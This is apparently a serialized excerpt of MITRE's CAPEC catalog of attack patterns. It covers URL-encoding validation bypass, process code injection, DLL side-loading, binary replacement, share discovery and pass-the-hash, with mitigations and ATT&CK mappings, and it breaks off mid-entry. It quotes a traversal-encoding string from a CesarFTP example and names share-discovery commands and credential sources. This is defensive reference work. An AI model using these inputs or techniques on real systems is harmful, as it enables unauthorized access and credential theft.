xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37700 + Related_Attack_Pattern_37700 + + + + + + + + + + + + + + 545 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary has access to the file system of a system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37708 + Consequence_37708 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Verify that files have proper access controls set, and reduce the storage of sensitive information to only what is necessary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries may search network shares on computers they have compromised to find files of interest.</xhtml:div> + + + + + 552 + + + + + + + + + + + + #indTaxonomyMappingDataFromNetworkSharedDrive + Data from Network Shared Drive + + + + + + + + + + + + + + 1039 + + + + + Data from Network Shared Drive + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsCredentialsInFiles + Unsecured Credentials: Credentials in Files + + + + + + + + + + + + + + 1552.001 + + + + + Unsecured Credentials: Credentials in Files + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsBashHistory + Unsecured Credentials: Bash History + + + + + + + + + + + + + + 1552.003 + + + + + Unsecured Credentials: Bash History + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsPrivateKeys + Unsecured Credentials: Private Keys + + + + + + + + + + + + + + 1552.004 + + + + + Unsecured Credentials: Private Keys + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsGroupPolicyPreferences + Unsecured Credentials: Group Policy Preferences + + + + + + + + + + + + + + 1552.006 + + + + + Unsecured Credentials: Group Policy Preferences + + + + + + + + + + + + #indContentHistoryContentHistory37745 + Content_History_37745 + + + + + + + + + + + + + + + + #indSubmissionSubmission37746 + Submission_37746 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-04 + + + + + + + + + + + + #indModificationModification37751 + Modification_37751 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37757 + Modification_37757 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-64 + Using Slashes and URL Encoding Combined to Bypass Validation Logic + + + + + + + + + 64 + + + + + Using Slashes and URL Encoding Combined to Bypass Validation Logic + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37773 + Related_Attack_Pattern_37773 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep37776 + Attack_Step_37776 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker accesses the server using a specific URL.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37781 + Attack_Step_37781 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker tries to encode some special characters in the URL. The attacker find out that some characters are not filtered properly.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37786 + Attack_Step_37786 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker crafts a malicious URL string request and sends it to the server.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37791 + Attack_Step_37791 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application accepts and decodes URL string request.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application performs insufficient filtering/canonicalization on the URLs.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37802 + Skill_37802 + + + + + + + + + + + + + + An attacker can try special characters in the URL and bypass the URL validation. + + + + + + + + + + + + #indSkillSkill37803 + Skill_37803 + + + + + + + + + + + + + + The attacker may write a script to defeat the input filtering mechanism. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the first decoding process has left some invalid or denylisted characters, that may be a sign that the request is malicious.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37810 + Consequence_37810 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37815 + Consequence_37815 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37822 + Consequence_37822 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence37826 + Consequence_37826 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Refer to the RFCs to safely decode URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Attack Example: Combined Encodings CesarFTP&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker could provide a URL that included a string like&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/...%5C/&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.&lt;/xhtml:p&gt;See also: CVE-2001-1335</xhtml:div> + + + + + 177 + + + + + 173 + + + + + 172 + + + + + 73 + + + + + 22 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference37862 + Reference_37862 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference37863 + Reference_37863 + + + + + + + + + REF-495 + + + + + + + + + + + + #indReferenceReference37864 + Reference_37864 + + + + + + + + + REF-496 + + + + + + + + + + + + #indReferenceReference37865 + Reference_37865 + + + + + + + + + REF-497 + + + + + + + + + + + + #indReferenceReference37866 + Reference_37866 + + + + + + + + + REF-498 + + + + + URL Encoding Reference + + + + + + + + + + + + #indReferenceReference37867 + Reference_37867 + + + + + + + + + REF-499 + + + + + + + + + + + + #indReferenceReference37869 + Reference_37869 + + + + + + + + + REF-500 + + + + + 5.11.4. Validating Hypertext Links (URIs/URLs) + + + + + + + + + + + + #indContentHistoryContentHistory37871 + Content_History_37871 + + + + + + + + + + + + + + + + #indSubmissionSubmission37872 + Submission_37872 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification37877 + Modification_37877 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37883 + Modification_37883 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification37889 + Modification_37889 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Obfuscation_Techniques, References + + + + + + + + + + + + #indModificationModification37895 + Modification_37895 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Indicators, Mitigations + + + + + + + + + + + + #indModificationModification37901 + Modification_37901 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification37907 + Modification_37907 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-640 + Inclusion of Code in Existing Process + + + + + + + + + 640 + + + + + Inclusion of Code in Existing Process + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, reflective code loading, and more.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37921 + Related_Attack_Pattern_37921 + + + + + + + + + + + + + + 251 + + + + + + + + + + + + #indAttackStepAttackStep37924 + Attack_Step_37924 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target process] The adversary determines a process with sufficient privileges that they wish to include code into.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Windows, use the process explorer's security tab to see if a process is running with administror privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On Linux, use the ps command to view running processes and pipe the output to a search for a particular user, or the root user.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37931 + Attack_Step_37931 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt to include simple code with known output] The adversary attempts to include very simple code into the existing process to determine if the code inclusion worked. The code will differ based on the approach used to include code into an existing process.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37936 + Attack_Step_37936 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Include arbitrary code into existing process] Once an adversary has determined that including code into the existing process is possible, they will include code for a targeted purpose, such as accessing that process's memory.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application fails to verify the integrity of the running process that allows an adversary to execute arbitrary code.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37946 + Skill_37946 + + + + + + + + + + + + + + Knowledge of how to load malicious code into the memory space of a running process, as well as the ability to have the running process execute this code. For example, with DLL injection, the adversary must know how to load a DLL into the memory space of another running process, and cause this process to execute the code inside of the DLL. + + + + + + + + + + + + #indConsequenceConsequence37949 + Consequence_37949 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent unknown or malicious software from loading through using an allowlist policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly restrict the location of the software being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage security kernel modules providing advanced access control and process restrictions like SELinux.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API calls like CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and similar for Windows.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API calls like ptrace system call, use of LD_PRELOAD environment variable, dlfcn dynamic linking API calls, and similar for Linux.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API calls like SetWindowsHookEx and SetWinEventHook which install hook procedures for Windows.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor processes and command-line arguments for unknown behavior related to code injection.</xhtml:div> + + + + + 114 + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingServerSoftwareComponentTerminalServicesDLL + Server Software Component: Terminal Services DLL + + + + + + + + + + + + + + 1505.005 + + + + + Server Software Component: Terminal Services DLL + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowDynamicLinkerHijacking + Hijack Execution Flow: Dynamic Linker Hijacking + + + + + + + + + + + + + + 1574.006 + + + + + Hijack Execution Flow: Dynamic Linker Hijacking + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowKernelCallbackTable + Hijack Execution Flow: KernelCallbackTable + + + + + + + + + + + + + + 1574.013 + + + + + Hijack Execution Flow: KernelCallbackTable + + + + + + + + + + + + #indTaxonomyMappingReflectiveCodeLoading + Reflective Code Loading + + + + + + + + + + + + + + 1620 + + + + + Reflective Code Loading + + + + + + + + + + + + #indContentHistoryContentHistory37987 + Content_History_37987 + + + + + + + + + + + + + + + + #indSubmissionSubmission37988 + Submission_37988 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification37993 + Modification_37993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification37999 + Modification_37999 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38005 + Modification_38005 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38011 + Modification_38011 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification38017 + Modification_38017 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38023 + Modification_38023 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-641 + DLL Side-Loading + + + + + + + + + 641 + + + + + DLL Side-Loading + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary places a malicious version of a Dynamic-Link Library (DLL) in the Windows Side-by-Side (WinSxS) directory to trick the operating system into loading this malicious DLL instead of a legitimate DLL. Programs specify the location of the DLLs to load via the use of WinSxS manifests or DLL redirection and if they aren't used then Windows searches in a predefined set of directories to locate the file. If the applications improperly specify a required DLL or WinSxS manifests aren't explicit about the characteristics of the DLL to be loaded, they can be vulnerable to side-loading.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38036 + Related_Attack_Pattern_38036 + + + + + + + + + + + + + + 159 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must fail to verify the integrity of the DLL before using them.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38042 + Skill_38042 + + + + + + + + + + + + + + Trick the operating system in loading a malicious DLL instead of a legitimate DLL. + + + + + + + + + + + + #indConsequenceConsequence38045 + Consequence_38045 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent unknown DLLs from loading through using an allowlist policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Patch installed applications as soon as new updates become available.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly restrict the location of the software being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of sxstrace.exe on Windows as well as manual inspection of the manifests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require code signing and avoid using relative paths for resources.</xhtml:div> + + + + + 706 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowDLLSideLoading + Hijack Execution Flow:DLL Side-Loading + + + + + + + + + + + + + + 1574.002 + + + + + Hijack Execution Flow:DLL Side-Loading + + + + + + + + + + + + #indReferenceReference38068 + Reference_38068 + + + + + + + + + REF-501 + + + + + + + + + + + + #indContentHistoryContentHistory38070 + Content_History_38070 + + + + + + + + + + + + + + + + #indSubmissionSubmission38071 + Submission_38071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38076 + Modification_38076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38082 + Modification_38082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-642 + Replace Binaries + + + + + + + + + 642 + + + + + Replace Binaries + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38094 + Related_Attack_Pattern_38094 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to place the malicious binary on the target machine.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insure that binaries commonly used by the system have the correct file permissions. Set operating system policies that restrict privilege elevation of non-Administrators. Use auditing tools to observe changes to system services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The installer for a previous version of Firefox would use a DLL maliciously placed in the default download directory instead of the existing DLL located elsewhere, probably due to DLL hijacking. This DLL would be run with administrator privileges if the installer has those privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By default, the Windows screensaver application SCRNSAVE.exe leverages the scrnsave.scr Portable Executable (PE) file in C:\\Windows\\system32\\. This value is set in the registry at HKEY_CURRENT_USER\\Control Panel\\Desktop, which can be modified by an adversary to instead point to a malicious program. This program would then run any time the SCRNSAVE.exe program is activated and with administrator privileges. An adversary may additionally modify other registry values within the same location to set the SCRNSAVE.exe program to run more frequently.</xhtml:div> + + + + + 732 + + + + + + + + + + + + #indTaxonomyMappingServerSoftwareComponentTerminalServicesDLL + Server Software Component: Terminal Services DLL + + + + + + + + + + + + + + 1505.005 + + + + + Server Software Component: Terminal Services DLL + + + + + + + + + + + + #indTaxonomyMappingCompromiseClientSoftwareBinary + Compromise Client Software Binary + + + + + + + + + + + + + + 1554 + + + + + Compromise Client Software Binary + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowExecutableInstallerFilePermissionsWeakness + Hijack Execution Flow:Executable Installer File Permissions Weakness + + + + + + + + + + + + + + 1574.005 + + + + + Hijack Execution Flow:Executable Installer File Permissions Weakness + + + + + + + + + + + + #indTaxonomyMappingBinaryPlanting + Binary planting + + + + + + + + + + + + + + Binary planting + + + + + + + + + + + + #indContentHistoryContentHistory38126 + Content_History_38126 + + + + + + + + + + + + + + + + #indSubmissionSubmission38127 + Submission_38127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-31 + + + + + + + + + + + + #indModificationModification38132 + Modification_38132 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Example_Instances, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38138 + Modification_38138 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38144 + Modification_38144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38150 + Modification_38150 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-643 + Identify Shared Files/Directories on System + + + + + + + + + 643 + + + + + Identify Shared Files/Directories on System + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38165 + Related_Attack_Pattern_38165 + + + + + + + + + + + + + + 309 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38166 + Related_Attack_Pattern_38166 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38167 + Related_Attack_Pattern_38167 + + + + + + + + + + + + + + 545 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38168 + Related_Attack_Pattern_38168 + + + + + + + + + + + + + + 165 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have obtained logical access to the system by some means (e.g., via obtained credentials or planting malware on the system).</xhtml:div> + + + + + + + + + + + + #indSkillSkill38174 + Skill_38174 + + + + + + + + + + + + + + Once the adversary has logical access (which can potentially require high knowledge and skill level), the adversary needs only the capability and facility to navigate the system through the OS graphical user interface or the command line. The adversary, or their malware, can simply employ a set of commands that search for shared drives on the system (e.g., net view \\\\remote system or net share). + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38180 + Consequence_38180 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary is potentially able to identify the location of sensitive information or lateral pathways through the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify unnecessary system utilities or potentially malicious software that may contain functionality to identify network share information, and audit and/or block them by using allowlist tools.</xhtml:div> + + + + + 267 + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingNetworkShareDiscovery + Network Share Discovery + + + + + + + + + + + + + + 1135 + + + + + Network Share Discovery + + + + + + + + + + + + #indContentHistoryContentHistory38199 + Content_History_38199 + + + + + + + + + + + + + + + + #indSubmissionSubmission38200 + Submission_38200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification38205 + Modification_38205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Skills_Required + + + + + + + + + + + + #indModificationModification38211 + Modification_38211 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-644 + Use of Captured Hashes (Pass The Hash) + + + + + + + + + 644 + + + + + Use of Captured Hashes (Pass The Hash) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When authenticating via LM or NTLM, an authenticating account's plaintext credentials are not required by the protocols for successful authentication. Instead, the hashed credentials are used to determine if an authentication attempt is valid. If an adversary can obtain an account's hashed credentials, the hash values can then be passed to a system or service to authenticate, without needing to brute-force the hashes to obtain their cleartext values. Successful Pass The Hash attacks result in the adversary fully authenticating as the targeted account, which can further allow the adversary to laterally move within the network, impersonate a legitimate user, and/or download/install malware to systems within the domain. This technique can be performed against any operating system that leverages the LM or NTLM protocols even if the operating system is not Windows-based, since these systems/accounts may still authenticate to a Windows domain.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38228 + Related_Attack_Pattern_38228 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38229 + Related_Attack_Pattern_38229 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38230 + Related_Attack_Pattern_38230 + + + + + + + + + + + + + + 165 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38231 + Related_Attack_Pattern_38231 + + + + + + + + + + + + + + 549 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38232 + Related_Attack_Pattern_38232 + + + + + + + + + + + + + + 545 + + + + + + + + + + + + #indAttackStepAttackStep38235 + Attack_Step_38235 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known Windows credential hash value pairs] The adversary must obtain known Windows credential hash value pairs of accounts that exist on the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached Windows credential hash value pairs from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal Windows credential hash value pairs as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to a Windows domain system/files and exfiltrates Windows credential hash value pairs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines outward-facing configuration 